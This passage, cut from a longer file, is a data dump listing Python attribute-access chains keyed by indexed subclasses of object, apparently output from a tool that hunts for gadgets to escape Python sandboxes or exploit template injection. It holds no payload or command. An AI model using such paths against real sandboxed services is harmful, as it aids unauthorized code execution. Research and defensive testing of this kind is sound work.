..is_package.__repr__.__self__", "Subclass 179: ..__class__.__delattr__", "Subclass 184: ..__delitem__.__ne__.__self__", "Subclass 133: ..__iter__.__setattr__.__self__", "Subclass 172: ..__get__.__le__.__self__", "Subclass 108: ..__weakref__.__objclass__.decode", "Subclass 94: ..__init__.__get__.__objclass__", "Subclass 177: ..__init_subclass__.__self__.push", "Subclass 106: ..decode.__init__.__self__", "Subclass 138: ..throw.__delattr__.__self__", "Subclass 107: ..getstate.__getattribute__.__self__", "Subclass 110: ..seek.__ge__.__self__", "Subclass 82: ..__enter__.__repr__.__objclass__", "Subclass 183: ..checkgroup.__delattr__.__self__", "Subclass 94: ..__init_subclass__.__self__.open_resource", "Subclass 131: ..__contains__.__subclasshook__.__self__", "Subclass 98: ..invalidate_caches.__lt__.__self__", "Subclass 185: ..tell.__ge__.__self__", "Subclass 104: ..find_module.__ne__.__self__", "Subclass 184: ..dump.__str__.__self__", "Subclass 105: ..resource_path.__sizeof__.__self__", "Subclass 199: ..contents.__ne__.__self__", "Subclass 98: .._fill_cache.__setattr__.__self__", "Subclass 177: ..__init__.__new__.__self__", "Subclass 95: ..__init__.__getattribute__.__self__", "Subclass 83: ..__eq__.__new__.__self__", "Subclass 109: ..__enter__.__repr__.__self__", "Subclass 183: ..opengroup.__eq__.__self__", "Subclass 110: ..seek.__get__.__self__", "Subclass 81: ..__init_subclass__.__self__.acquire", "Subclass 96: ..get_source.__init_subclass__.__self__", "Subclass 108: ..setstate.__str__.__self__", "Subclass 109: ..seek.__ne__.__self__", "Subclass 177: .._create_cb_wrapper.__call__.__self__", "Subclass 177: .._push_exit_callback.__call__.__self__", "Subclass 184: ..__getitem__.__ne__.__self__", "Subclass 87: ..__enter__.__eq__.__self__", "Subclass 133: ..__exit__.__lt__.__self__", "Subclass 186: ..__init__.__getattribute__.__self__", "Subclass 109: ..__init__.__getattribute__.__self__", "Subclass 104: ..is_package.__dir__.__self__", "Subclass 94: ..__init__.__str__.__self__", "Subclass 107: ..reset.__getattribute__.__self__", "Subclass 139: ..__init__.__new__.__self__", "Subclass 174: ..__init__.__call__.__self__", "Subclass 164: ..repr_array.__ge__.__self__", "Subclass 188: ..__deepcopy__.__reduce_ex__.__self__", "Subclass 95: ..__iter__.__reduce_ex__.__self__", "Subclass 183: ..checkgroup", "Subclass 80: ..release.__repr__.__objclass__", "Subclass 164: ..repr_str.__hash__.__self__", "Subclass 185: .._Tokenizer__next.__reduce_ex__.__self__", "Subclass 86: ..get_code.__func__.__class__", "Subclass 137: ..setter.__new__.__self__", "Subclass 94: ..load_module.__dir__.__self__", 'Global func 1: ..__delattr__.__self__.__class__', "Subclass 164: ..__weakref__.__objclass__.repr_array", "Subclass 80: ..__init__.__call__.__objclass__", "Subclass 110: ..__init__.__repr__.__objclass__", "Subclass 95: ..__weakref__.__objclass__.__setitem__", "Subclass 164: ..repr_str.__init__.__self__", "Subclass 109: ..__exit__.__hash__.__self__", "Subclass 137: ..setter.__hash__.__self__", "Subclass 185: ..seek.__reduce__.__self__", "Subclass 135: ..__repr__.__call__.__self__", "Subclass 198: ..load_module", "Subclass 114: ..__class__.__instancecheck__", "Subclass 94: ..contents.__lt__.__self__", "Subclass 104: ..get_data.__get__.__objclass__", "Subclass 184: ..__weakref__.__objclass__.dump", "Subclass 109: ..__iter__.__getattribute__.__self__", "Subclass 104: ..get_data.__eq__.__self__", "Subclass 177: .._push_cm_exit.__call__.__objclass__", "Subclass 177: .._create_cb_wrapper.__get__.__self__", "Subclass 95: ..__setitem__.__subclasshook__.__self__", "Subclass 176: ..__init__.__call__.__self__", "Subclass 173: ..register.__gt__.__self__", "Subclass 140: ..__enter__.__init_subclass__.__self__", "Subclass 110: ..__exit__.__lt__.__self__", "Subclass 98: ..find_module.__ge__.__self__", "Subclass 164: ..repr1.__repr__.__objclass__", "Subclass 135: .._Printer__setup.__call__.__objclass__", "Subclass 140: ..__weakref__.__objclass__.__init__", "Subclass 175: .._recreate_cm.__subclasshook__.__self__", "Subclass 186: ..__init__.__dir__.__self__", "Subclass 110: ..__exit__.__format__.__self__", "Subclass 185: ..seek.__str__.__self__", "Subclass 93: ..__subclasshook__.__self__.exec_module", "Subclass 98: ..invalidate_caches.__repr__.__objclass__", "Subclass 115: ..__class__.__new__", "Subclass 114: ..__hash__.__getattribute__.__self__", "Subclass 134: ..__init__.__setattr__.__self__", "Subclass 93: ..exec_module.__new__.__self__", "Subclass 188: ..__deepcopy__.__call__.__objclass__", "Subclass 80: ..__repr__.__call__.__objclass__", "Subclass 82: ..__init__.__hash__.__self__", "Subclass 109: ..readline.__reduce_ex__.__self__", "Subclass 93: ..exec_module.__le__.__self__", "Subclass 184: ..__setitem__.__reduce_ex__.__self__", "Subclass 104: ..get_code.__hash__.__self__", "Subclass 119: ..__iter__.__setattr__.__self__", "Subclass 164: ..repr_deque", "Subclass 80: ..has_deadlock.__ge__.__self__", "Subclass 108: ..reset.__ge__.__self__", "Subclass 110: ..__exit__.__get__.__objclass__", "Subclass 115: ..__await__.__init_subclass__.__self__", "Subclass 164: ..repr_tuple.__class__", "Subclass 196: ..Match.__class__.__getitem__", "Subclass 135: ..__init_subclass__.__self__._Printer__setup", "Subclass 138: ..send.__repr__.__self__", "Subclass 164: ..repr_dict.__dir__.__self__", "Subclass 188: ..__copy__.__get__.__objclass__", "Subclass 185: ..error.__lt__.__self__", "Subclass 134: ..__repr__.__reduce__.__self__", "Subclass 119: ..__iter__.__new__.__self__", "Subclass 83: ..__repr__", 'Global func 1: ..__subclasshook__.__self__', "Subclass 164: ..repr_list.__class__", "Subclass 110: ..__getattr__.__init_subclass__.__self__", "Subclass 82: ..__enter__.__reduce__.__self__", "Subclass 93: ..load_module.__format__.__self__", 'Global func 1: ..__class__.__subclasshook__.__self__', "Subclass 198: ..load_module.__class__", "Subclass 94: ..get_resource_reader.__le__.__self__", "Subclass 164: ..__init_subclass__.__self__.repr_tuple", "Subclass 109: ..__init__.__repr__.__self__", "Subclass 133: ..close.__subclasshook__.__self__", "Subclass 114: ..__hash__.__repr__.__objclass__", "Subclass 98: .._get_spec.__ne__.__self__", "Subclass 96: ..exec_module.__get__.__self__", "Subclass 107: ..reset.__str__.__self__", "Subclass 140: ..__init__.__call__.__objclass__", "Subclass 105: ..__weakref__.__objclass__.__init__", "Subclass 175: .._recreate_cm.__getattribute__.__self__", "Subclass 95: .._recalculate.__ge__.__self__", "Subclass 195: ..IO.fileno", "Subclass 183: ..closegroup.__class__", "Subclass 82: ..__enter__.__delattr__.__self__", "Subclass 185: ..tell.__delattr__.__self__", "Subclass 114: ..__hash__.__sizeof__.__self__", "Subclass 186: ..scan.__getattribute__.__self__", "Subclass 137: ..setter.__init__.__self__", "Subclass 93: ..create_module.__ne__.__self__", "Subclass 110: ..__init_subclass__.__self__.reset", "Subclass 81: ..__init__.__reduce_ex__.__self__", "Subclass 186: ..scan.__reduce__.__self__", "Subclass 109: ..readlines.__str__.__self__", "Subclass 139: ..__init__.__eq__.__self__", "Subclass 188: ..__deepcopy__", "Subclass 185: ..__init__.__subclasshook__.__self__", "Subclass 197: ..find_module.__class__", "Subclass 185: ..__init__.__reduce_ex__.__self__", "Subclass 96: ..get_source.__get__.__self__", "Subclass 98: ..find_spec.__init_subclass__.__self__", "Subclass 137: ..setter.__eq__.__self__", "Subclass 104: ..get_resource_reader.__le__.__self__", "Subclass 175: ..__call__.__ne__.__self__", "Subclass 105: ..open_resource.__ne__.__self__", "Subclass 136: ..__call__.__hash__.__self__", "Subclass 104: ..__subclasshook__.__self__.get_source", "Subclass 183: ..checklookbehindgroup.__reduce__.__self__", "Subclass 106: ..decode.__hash__.__self__", "Subclass 80: ..release.__delattr__.__self__", "Subclass 80: ..release.__subclasshook__.__self__", "Subclass 140: ..__repr__.__sizeof__.__self__", 'Global func 1: ..__dir__.__self__', "Subclass 198: ..create_module.__delattr__.__self__", "Subclass 186: ..__init__.__subclasshook__.__self__", "Subclass 177: ..callback.__gt__.__self__", "Subclass 96: ..load_module.__lt__.__self__", "Subclass 108: ..getstate.__init__.__self__", "Subclass 132: ..__call__.__str__.__self__", "Subclass 104: ..__repr__.__init_subclass__.__self__", "Subclass 98: ..find_spec.__repr__.__objclass__", "Subclass 98: ..find_loader.__reduce_ex__.__self__", "Subclass 110: ..seek.__delattr__.__self__", "Subclass 104: ..get_filename.__init_subclass__.__self__", "Subclass 198: ..module_repr.__le__.__self__", "Subclass 80: ..__repr__.__hash__.__self__", "Subclass 94: ..__eq__.__str__.__self__", "Subclass 140: ..__init__.__class__", "Subclass 184: ..__len__.__init_subclass__.__self__", "Subclass 109: ..readlines.__repr__.__objclass__", "Subclass 164: ..repr_deque.__str__.__self__", "Subclass 82: ..__init__.__ge__.__self__", "Subclass 96: ..module_repr.__func__.__class__", "Subclass 104: ..get_filename.__format__.__self__", "Subclass 138: ..close.__hash__.__self__", "Subclass 105: ..__subclasshook__.__self__.is_resource", "Subclass 199: ..resource_path.__le__.__self__", "Subclass 87: ..__enter__.__init_subclass__.__self__", "Subclass 185: ..match.__setattr__.__self__", "Subclass 98: .._get_spec.__format__.__self__", "Subclass 104: ..get_code.__get__.__objclass__", "Subclass 81: ..acquire.__delattr__.__self__", "Subclass 188: ..__copy__.__format__.__self__", "Subclass 96: ..get_source.__call__.__self__", "Subclass 110: ..__next__.__reduce_ex__.__self__", "Subclass 82: ..__enter__.__get__.__objclass__", "Subclass 176: ..__init__.__init__.__self__", "Subclass 94: ..contents.__repr__.__objclass__", "Subclass 110: ..reset.__dir__.__self__", "Subclass 184: ..getwidth.__lt__.__self__", "Subclass 186: ..__init__.__reduce__.__self__", "Subclass 105: ..resource_path.__init_subclass__.__self__", "Subclass 137: ..deleter.__ne__.__self__", "Subclass 174: ..__init__.__le__.__self__", "Subclass 184: ..getwidth.__le__.__self__", "Subclass 172: ..__init_subclass__.__self__.__get__", "Subclass 175: .._recreate_cm.__get__.__objclass__", "Subclass 105: ..contents.__get__.__self__", "Subclass 110: ..__next__.__eq__.__self__", "Subclass 104: ..get_resource_reader.__reduce_ex__.__self__", "Subclass 80: ..has_deadlock.__subclasshook__.__self__", "Subclass 136: ..__repr__.__new__.__self__", "Subclass 183: ..closegroup.__lt__.__self__", "Subclass 138: ..throw.__sizeof__.__self__", "Subclass 187: ..__init_subclass__.__func__.__class__", "Subclass 94: ..get_filename.__eq__.__self__", "Subclass 84: ..module_repr.__gt__.__self__", "Subclass 110: ..__getattr__.__sizeof__.__self__", "Subclass 198: ..load_module.__dir__.__self__", "Subclass 106: ..__subclasshook__.__self__.decode", "Subclass 173: ..__init__.__class__", "Subclass 175: .._recreate_cm.__gt__.__self__", "Subclass 177: .._push_exit_callback.__reduce_ex__.__self__", "Subclass 94: ..get_data.__ge__.__self__", "Subclass 185: ..getwhile.__eq__.__self__", "Subclass 110: ..__enter__.__getattribute__.__self__", "Subclass 183: ..__init__.__new__.__self__", "Subclass 96: ..is_package.__format__.__self__", "Subclass 136: ..__weakref__.__objclass__.__call__", "Subclass 140: ..__repr__.__eq__.__self__", "Subclass 110: ..__enter__.__subclasshook__.__self__", "Subclass 184: ..getwidth.__ge__.__self__", "Subclass 110: ..reset.__call__.__objclass__", "Subclass 134: ..__call__.__eq__.__self__", "Subclass 104: ..get_data.__ne__.__self__", "Subclass 184: ..__init__.__init_subclass__.__self__", "Subclass 177: ..callback.__le__.__self__", "Subclass 96: ..is_package.__setattr__.__self__", "Subclass 184: ..dump.__setattr__.__self__", "Subclass 110: ..readline.__init_subclass__.__self__", "Subclass 104: ..__repr__.__gt__.__self__", "Subclass 95: ..__repr__.__gt__.__self__", "Subclass 110: ..__getattr__.__eq__.__self__", "Subclass 135: ..__call__.__format__.__self__", "Subclass 95: ..__getitem__.__getattribute__.__self__", "Subclass 83: ..__init__.__repr__.__objclass__", "Subclass 98: ..__repr__.__ge__.__self__", "Subclass 81: ..release.__class__", "Subclass 87: ..__enter__.__lt__.__self__", "Subclass 94: ..__eq__.__get__.__objclass__", "Subclass 164: ..repr_frozenset.__ge__.__self__", "Subclass 138: ..__iter__.__call__.__self__", "Subclass 140: ..__repr__.__getattribute__.__self__", "Subclass 175: .._recreate_cm.__call__.__objclass__", "Subclass 95: ..__contains__.__call__.__self__", "Subclass 98: ..__repr__", "Subclass 109: ..__iter__.__setattr__.__self__", "Subclass 197: ..find_module.__gt__.__self__", "Subclass 94: ..get_filename.__ge__.__self__", "Subclass 110: ..read.__hash__.__self__", "Subclass 98: ..invalidate_caches.__le__.__self__", "Subclass 96: ..is_package.__getattribute__.__self__", "Subclass 188: ..__deepcopy__.__gt__.__self__", "Subclass 136: ..__call__.__subclasshook__.__self__", "Subclass 177: ..push.__format__.__self__", "Subclass 110: ..readlines.__init__.__self__", "Subclass 104: ..get_data.__str__.__self__", "Subclass 177: ..callback", "Subclass 186: ..__init__.__eq__.__self__", "Subclass 98: ..__init__.__new__.__self__", "Subclass 83: ..__init__.__get__.__objclass__", "Subclass 109: ..writelines.__get__.__objclass__", "Subclass 195: ..IO.__class_getitem__.__func__", "Subclass 164: ..__init__.__call__.__self__", "Subclass 87: ..__enter__", "Subclass 199: ..contents.__setattr__.__self__", "Subclass 94: ..get_resource_reader.__new__.__self__", "Subclass 177: .._create_exit_wrapper.__init_subclass__.__self__", "Subclass 110: ..reset.__get__.__self__", "Subclass 186: ..scan.__new__.__self__", "Subclass 104: ..find_loader.__le__.__self__", "Subclass 138: ..__init_subclass__.__self__.throw", "Subclass 109: ..readlines", "Subclass 95: ..__contains__.__init__.__self__", "Subclass 184: ..__repr__.__repr__.__self__", "Subclass 96: ..load_module.__str__.__self__", "Subclass 173: ..register.__lt__.__self__", "Subclass 94: ..open_resource.__repr__.__objclass__", "Subclass 164: ..repr1.__ge__.__self__", "Subclass 174: ..__init__.__call__.__objclass__", "Subclass 80: ..__subclasshook__.__self__.__repr__", "Subclass 107: ..getstate.__setattr__.__self__", "Subclass 199: ..open_resource.__sizeof__.__self__", "Subclass 110: ..__init__.__getattribute__.__self__", "Subclass 109: ..__init_subclass__.__self__.reset", "Subclass 185: ..__weakref__.__objclass__._Tokenizer__next", "Subclass 138: ..__next__.__lt__.__self__", "Subclass 106: ..encode.__format__.__self__", "Subclass 186: ..__init__.__sizeof__.__self__", "Subclass 199: ..contents.__sizeof__.__self__", "Subclass 164: ..repr_frozenset.__repr__.__objclass__", "Subclass 138: ..__next__.__gt__.__self__", "Subclass 95: ..__len__.__str__.__self__", "Subclass 177: ..pop_all.__ge__.__self__", "Subclass 138: ..__await__.__le__.__self__", "Subclass 106: ..decode.__repr__.__objclass__", "Subclass 107: ..encode.__ne__.__self__", "Subclass 94: ..__hash__.__lt__.__self__", "Subclass 87: ..__exit__.__eq__.__self__", "Subclass 164: ..repr_tuple.__le__.__self__", "Subclass 185: ..getwhile.__subclasshook__.__self__", "Subclass 93: ..exec_module.__gt__.__self__", "Subclass 135: ..__weakref__.__objclass__.__call__", "Subclass 164: ..repr_instance.__reduce__.__self__", "Subclass 104: ..__repr__.__init__.__self__", "Subclass 184: ..__weakref__.__objclass__.insert", "Subclass 104: ..find_module.__gt__.__self__", "Subclass 104: ..__weakref__.__objclass__.get_resource_reader", "Subclass 96: ..module_repr.__self__.__init__", "Subclass 95: ..__len__.__ge__.__self__", "Subclass 164: ..__weakref__.__objclass__.repr_str", "Subclass 133: ..__subclasshook__.__self__.__iter__", "Subclass 94: ..contents.__new__.__self__", "Subclass 87: ..__exit__.__init__.__self__", "Subclass 172: ..__init__.__str__.__self__", "Subclass 104: ..__repr__.__str__.__self__", "Subclass 81: ..__repr__.__new__.__self__", "Subclass 86: ..create_module.__func__", "Subclass 109: ..seek.__ge__.__self__", "Subclass 192: ..__new__.__reduce__.__self__", "Subclass 82: ..__exit__.__delattr__.__self__", "Subclass 164: ..repr_frozenset.__init_subclass__.__self__", "Subclass 96: ..is_package.__sizeof__.__self__", "Subclass 137: ..__set__.__repr__.__self__", "Subclass 96: ..__subclasshook__.__self__.create_module", "Subclass 133: ..__enter__.__ge__.__self__", "Subclass 81: ..__init__.__setattr__.__self__", "Subclass 94: ..get_data.__get__.__objclass__", "Subclass 84: ..module_repr.__delattr__.__self__", "Subclass 105: ..open_resource.__repr__.__objclass__", "Subclass 188: ..__copy__.__ge__.__self__", "Subclass 164: ..repr_instance.__call__.__objclass__", "Subclass 96: ..is_package.__subclasshook__.__self__", "Subclass 172: .._make_unbound_method.__le__.__self__", "Subclass 195: ..TextIO.readline", "Subclass 109: ..__init__.__new__.__self__", "Subclass 82: ..__enter__.__init_subclass__.__self__", "Subclass 94: ..__hash__.__getattribute__.__self__", "Subclass 177: .._push_exit_callback.__reduce__.__self__", "Subclass 110: ..__next__.__init__.__self__", "Subclass 95: ..__getitem__.__init_subclass__.__self__", "Subclass 184: ..__len__.__subclasshook__.__self__", "Subclass 177: .._push_cm_exit.__lt__.__self__", "Subclass 93: ..is_package.__ge__.__self__", "Subclass 108: ..__init__.__subclasshook__.__self__", "Subclass 186: ..__init__.__gt__.__self__", "Subclass 109: ..__subclasshook__.__self__.__exit__", "Subclass 104: ..__init__.__class__", "Subclass 98: ..__weakref__.__objclass__.invalidate_caches", "Subclass 175: .._recreate_cm.__dir__.__self__", "Subclass 183: ..checklookbehindgroup.__ge__.__self__", "Subclass 104: ..__repr__.__sizeof__.__self__", "Subclass 134: ..__call__.__dir__.__self__", "Subclass 117: ..__aiter__.__setattr__.__self__", "Subclass 164: ..__subclasshook__.__self__._repr_iterable", "Subclass 185: ..__init__.__ge__.__self__", "Subclass 104: ..__init_subclass__.__self__.get_code", "Subclass 110: ..readlines.__setattr__.__self__", "Subclass 107: ..getstate.__delattr__.__self__", "Subclass 174: ..__class_getitem__.__self__.__set_name__", "Subclass 133: ..close.__format__.__self__", "Subclass 174: ..__set_name__.__reduce__.__self__", "Subclass 172: ..__get__.__repr__.__objclass__", "Subclass 80: ..has_deadlock.__gt__.__self__", "Subclass 164: ..repr_deque.__subclasshook__.__self__", "Subclass 176: ..__init__.__delattr__.__self__", "Subclass 94: ..is_resource.__reduce_ex__.__self__", "Subclass 183: ..checklookbehindgroup.__call__.__objclass__", "Subclass 86: ..load_module.__self__.exec_module", "Subclass 105: ..contents.__subclasshook__.__self__", "Subclass 98: ..find_loader.__delattr__.__self__", "Subclass 164: ..repr_dict.__get__.__self__", "Subclass 83: ..__eq__.__subclasshook__.__self__", "Subclass 108: ..getstate.__ge__.__self__", "Subclass 110: ..__init_subclass__.__self__.__getattr__", "Subclass 95: .._recalculate.__repr__.__objclass__", "Subclass 86: ..exec_module.__setattr__.__self__", "Subclass 140: ..__exit__.__hash__.__self__", "Subclass 140: ..__repr__.__reduce__.__self__", "Subclass 183: ..opengroup.__gt__.__self__", "Subclass 134: ..__call__.__sizeof__.__self__", "Subclass 94: ..get_data.__reduce_ex__.__self__", "Subclass 130: ..__len__.__dir__.__self__", "Subclass 185: ..__init__.__dir__.__self__", "Subclass 135: ..__init__.__setattr__.__self__", "Subclass 80: ..release.__get__.__self__", "Subclass 164: ..repr_frozenset.__get__.__objclass__", "Subclass 179: ..__class__.__prepare__.__func__", "Subclass 114: ..__class__.register", "Subclass 109: ..reset.__call__.__self__", "Subclass 198: ..__class__._abc_caches_clear", "Subclass 196: ..Pattern.__class__.__setattr__", "Subclass 86: ..module_repr.__hash__.__self__", "Subclass 183: ..__init__.__call__.__objclass__", "Subclass 98: ..find_spec.__ge__.__self__", "Subclass 185: ..tell.__class__", "Subclass 95: ..__len__.__format__.__self__", "Subclass 107: ..encode.__sizeof__.__self__", "Subclass 117: ..__aiter__.__get__.__objclass__", "Subclass 105: ..is_resource.__call__.__objclass__", "Subclass 185: ..get.__repr__.__objclass__", "Subclass 95: ..__setitem__.__repr__.__objclass__", "Subclass 98: ..find_loader.__eq__.__self__", "Subclass 107: ..__init__.__init_subclass__.__self__", "Subclass 110: ..write.__gt__.__self__", "Subclass 164: ..repr1.__getattribute__.__self__", "Subclass 164: ..repr1", "Subclass 94: ..open_resource.__get__.__objclass__", "Subclass 137: ..deleter.__delattr__.__self__", "Subclass 94: ..open_resource.__reduce_ex__.__self__", "Subclass 95: ..__init__.__call__.__objclass__", "Subclass 106: ..__init_subclass__.__self__.encode", "Subclass 110: ..readlines.__get__.__self__", "Subclass 186: ..scan.__ge__.__self__", "Subclass 95: ..__repr__.__delattr__.__self__", "Subclass 96: ..__init__.__reduce_ex__.__self__", "Subclass 184: ..__len__", "Subclass 94: ..__hash__.__call__.__self__", "Subclass 198: ..__init_subclass__.__self__.load_module", "Subclass 94: ..get_data.__class__", "Subclass 164: ..__init__.__format__.__self__", "Subclass 110: ..__next__.__call__.__self__", "Subclass 95: ..__iter__.__call__.__self__", "Subclass 86: ..module_repr.__setattr__.__self__", "Subclass 110: ..reset.__call__.__self__", "Subclass 110: ..__init_subclass__.__self__.__init__", "Subclass 134: ..__repr__.__get__.__self__", "Subclass 177: ..pop_all.__new__.__self__", "Subclass 107: ..reset.__hash__.__self__", "Subclass 173: ..register.__format__.__self__", "Subclass 104: ..get_resource_reader.__hash__.__self__", "Subclass 114: ..__subclasshook__.__func__", "Subclass 114: ..__hash__.__gt__.__self__", "Subclass 98: ..__init__.__eq__.__self__", "Subclass 104: ..find_loader.__dir__.__self__", "Subclass 104: ..__init__.__str__.__self__", "Subclass 109: ..writelines.__subclasshook__.__self__", "Subclass 109: ..seek.__le__.__self__", "Subclass 136: ..__repr__.__format__.__self__", "Subclass 164: ..repr_frozenset.__sizeof__.__self__", "Subclass 95: ..__iter__.__sizeof__.__self__", "Subclass 96: ..load_module.__subclasshook__.__self__", "Subclass 96: ..exec_module.__lt__.__self__", "Subclass 136: ..__repr__.__dir__.__self__", "Subclass 95: .._get_parent_path.__class__", "Subclass 98: ..invalidate_caches.__str__.__self__", "Subclass 94: ..__hash__.__init__.__self__", "Subclass 95: ..__repr__.__dir__.__self__", "Subclass 108: ..getstate.__reduce_ex__.__self__", "Subclass 133: ..__weakref__.__objclass__.__exit__", "Subclass 134: ..__call__.__new__.__self__", "Subclass 96: ..load_module.__ne__.__self__", "Subclass 138: ..__subclasshook__.__self__.__await__", 'Global func 1: ..__le__.__self__.__class__', "Subclass 109: ..__subclasshook__.__self__.__iter__", "Subclass 138: ..__init__.__reduce__.__self__", "Subclass 164: ..repr_deque.__delattr__.__self__", "Subclass 133: ..__init_subclass__.__self__.__exit__", "Subclass 110: ..__subclasshook__.__self__.read", "Subclass 117: ..__class__._dump_registry.__class__", "Subclass 138: ..__iter__.__str__.__self__", "Subclass 109: ..seek.__repr__.__self__", "Subclass 183: ..checklookbehindgroup.__setattr__.__self__", "Subclass 98: ..find_loader", "Subclass 173: ..register.__ge__.__self__", "Subclass 109: ..writelines.__gt__.__self__", "Subclass 95: .._recalculate.__reduce_ex__.__self__", "Subclass 95: .._find_parent_path_names", "Subclass 105: ..contents.__ge__.__self__", "Subclass 186: ..scan.__le__.__self__", "Subclass 80: ..acquire.__repr__.__objclass__", "Subclass 199: ..contents.__init_subclass__.__self__", "Subclass 184: ..__len__.__new__.__self__", "Subclass 115: ..__await__.__class__", "Subclass 195: ..IO.close", "Subclass 174: ..__init__.__gt__.__self__", "Subclass 183: ..checklookbehindgroup.__class__", "Subclass 110: ..__weakref__.__objclass__.writelines", "Subclass 86: ..exec_module.__class__", "Subclass 177: ..pop_all.__dir__.__self__", "Subclass 164: ..__init__.__getattribute__.__self__", "Subclass 199: ..__class__.__instancecheck__.__class__", "Subclass 184: ..__getitem__.__eq__.__self__", "Subclass 184: ..dump.__reduce_ex__.__self__", "Subclass 105: ..is_resource.__hash__.__self__", "Subclass 104: ..find_loader", "Subclass 184: ..__repr__.__get__.__self__", "Subclass 104: ..is_package.__reduce_ex__.__self__", "Subclass 94: ..is_resource.__init_subclass__.__self__", "Subclass 95: ..__init_subclass__.__self__.__len__", "Subclass 186: ..__init__.__class__", "Subclass 175: .._recreate_cm.__str__.__self__", "Subclass 105: ..is_resource.__ne__.__self__", "Subclass 137: ..__init__.__new__.__self__", "Subclass 81: ..__init__.__subclasshook__.__self__", "Subclass 98: ..find_module.__dir__.__self__", "Subclass 179: ..__class__.__len__.__class__", "Subclass 177: ..__subclasshook__.__self__.callback", "Subclass 137: ..__init__.__le__.__self__", "Subclass 106: ..decode.__ge__.__self__", "Subclass 173: ..__get__.__init_subclass__.__self__", "Subclass 110: ..readlines.__delattr__.__self__", "Subclass 98: ..path_hook.__self__._fill_cache", "Subclass 109: ..seek.__class__", "Subclass 104: ..get_filename.__ne__.__self__", "Subclass 185: ..__init_subclass__.__self__.__init__", "Subclass 138: ..send.__call__.__objclass__", "Subclass 164: ..__init__.__sizeof__.__self__", "Subclass 105: ..__init_subclass__.__self__.contents", "Subclass 130: ..__len__.__subclasshook__.__self__", "Subclass 133: ..__getattr__.__gt__.__self__", "Subclass 114: ..__class__._dump_registry.__class__", "Subclass 185: ..get.__str__.__self__", "Subclass 98: ..find_loader.__sizeof__.__self__", "Subclass 115: ..__await__.__reduce_ex__.__self__", "Subclass 98: ..invalidate_caches.__init__.__self__", "Subclass 87: ..__enter__.__ge__.__self__", "Subclass 137: ..__get__.__eq__.__self__", "Subclass 199: ..is_resource.__call__.__objclass__", "Subclass 110: ..readlines.__le__.__self__", "Subclass 110: ..read.__ne__.__self__", "Subclass 195: ..BinaryIO.__enter__", "Subclass 134: ..__init__.__call__.__objclass__", "Subclass 104: ..__init__.__gt__.__self__", "Subclass 96: ..create_module.__setattr__.__self__", "Subclass 109: ..readlines.__sizeof__.__self__", "Subclass 119: ..__iter__.__reduce__.__self__", "Subclass 93: ..create_module.__call__.__self__", "Subclass 104: ..find_module.__setattr__.__self__", "Subclass 140: ..__enter__.__sizeof__.__self__", "Subclass 107: ..__init__.__repr__.__objclass__", "Subclass 107: ..__init__.__format__.__self__", "Subclass 183: ..checklookbehindgroup.__sizeof__.__self__", "Subclass 104: ..load_module.__get__.__objclass__", "Subclass 82: ..__enter__.__lt__.__self__", "Subclass 164: .._repr_iterable.__hash__.__self__", "Subclass 105: ..__init__.__setattr__.__self__", "Subclass 104: ..get_data.__call__.__self__", "Subclass 140: ..__weakref__.__objclass__.__enter__", "Subclass 177: ..enter_context.__ne__.__self__", "Subclass 195: ..BinaryIO.writelines", "Subclass 177: ..pop_all.__get__.__self__", "Subclass 174: ..__get__.__format__.__self__", "Subclass 84: ..module_repr.__subclasshook__.__self__", "Subclass 110: ..__exit__.__new__.__self__", "Subclass 98: ..path_hook.__self__.find_loader", "Subclass 186: ..__init__.__repr__.__objclass__", "Subclass 105: ..contents.__hash__.__self__", "Subclass 133: ..__init__.__getattribute__.__self__", "Subclass 96: ..load_module.__hash__.__self__", "Subclass 95: .._find_parent_path_names.__reduce__.__self__", "Subclass 114: ..__subclasshook__.__self__.__hash__", "Subclass 98: ..find_module.__le__.__self__", "Subclass 82: ..__subclasshook__.__self__.__init__", "Subclass 96: ..create_module.__sizeof__.__self__", "Subclass 133: ..__iter__.__sizeof__.__self__", "Subclass 188: ..__deepcopy__.__class__", "Subclass 185: ..seek.__call__.__self__", "Subclass 109: ..read.__new__.__self__", "Subclass 136: ..__init_subclass__.__self__.__call__", "Subclass 98: ..find_loader.__gt__.__self__", "Subclass 183: ..closegroup.__reduce_ex__.__self__", 'Global func 1: ..__hash__.__self__', "Subclass 133: ..__iter__", "Subclass 192: ..__new__.__le__.__self__", "Subclass 81: ..acquire.__format__.__self__", "Subclass 164: ..repr_array.__subclasshook__.__self__", "Subclass 173: ..register.__setattr__.__self__", "Subclass 105: ..__init__.__call__.__self__", "Subclass 106: ..decode.__get__.__self__", "Subclass 81: ..__init__.__eq__.__self__", "Subclass 164: ..repr_dict.__call__.__objclass__", "Subclass 95: ..append.__call__.__objclass__", "Subclass 164: ..repr_list.__call__.__self__", "Subclass 183: ..checklookbehindgroup.__hash__.__self__", "Subclass 96: ..__init__.__gt__.__self__", "Subclass 104: ..get_code.__class__", "Subclass 110: ..readline.__hash__.__self__", "Subclass 110: ..writelines.__call__.__objclass__", "Subclass 109: ..__enter__.__call__.__self__", "Subclass 177: .._create_exit_wrapper.__init__.__self__", "Subclass 195: ..IO.isatty.__class__", "Subclass 164: ..repr_list.__gt__.__self__", "Subclass 106: ..decode.__sizeof__.__self__", "Subclass 177: ..enter_context.__repr__.__objclass__", "Subclass 96: ..load_module.__repr__.__objclass__", "Subclass 185: ..tell", "Subclass 183: ..checklookbehindgroup.__ne__.__self__", "Subclass 107: ..reset.__init_subclass__.__self__", "Subclass 184: ..dump.__gt__.__self__", "Subclass 130: ..__subclasshook__.__func__.__class__", "Subclass 138: ..send", "Subclass 184: ..insert.__le__.__self__", "Subclass 177: ..callback.__dir__.__self__", "Subclass 140: ..__init__.__hash__.__self__", "Subclass 110: ..__exit__.__le__.__self__", "Subclass 135: .._Printer__setup.__class__", "Subclass 164: ..repr_tuple.__eq__.__self__", "Subclass 188: ..__deepcopy__.__hash__.__self__", "Subclass 183: ..__init__.__lt__.__self__", "Subclass 108: ..setstate.__delattr__.__self__", "Subclass 95: ..__iter__.__dir__.__self__", "Subclass 184: ..__repr__.__format__.__self__", "Subclass 183: ..opengroup.__init_subclass__.__self__", "Subclass 110: ..__getattr__.__init__.__self__", "Subclass 133: ..__getattr__.__hash__.__self__", "Subclass 98: ..__init__.__repr__.__objclass__", "Subclass 119: ..__iter__.__init__.__self__", "Subclass 105: ..open_resource.__repr__.__self__", "Subclass 174: ..__get__.__call__.__objclass__", "Subclass 185: .._Tokenizer__next.__eq__.__self__", "Subclass 98: ..find_loader.__call__.__self__", "Subclass 135: .._Printer__setup.__get__.__self__", "Subclass 195: ..BinaryIO.truncate", "Subclass 197: ..__class__._dump_registry", "Subclass 109: 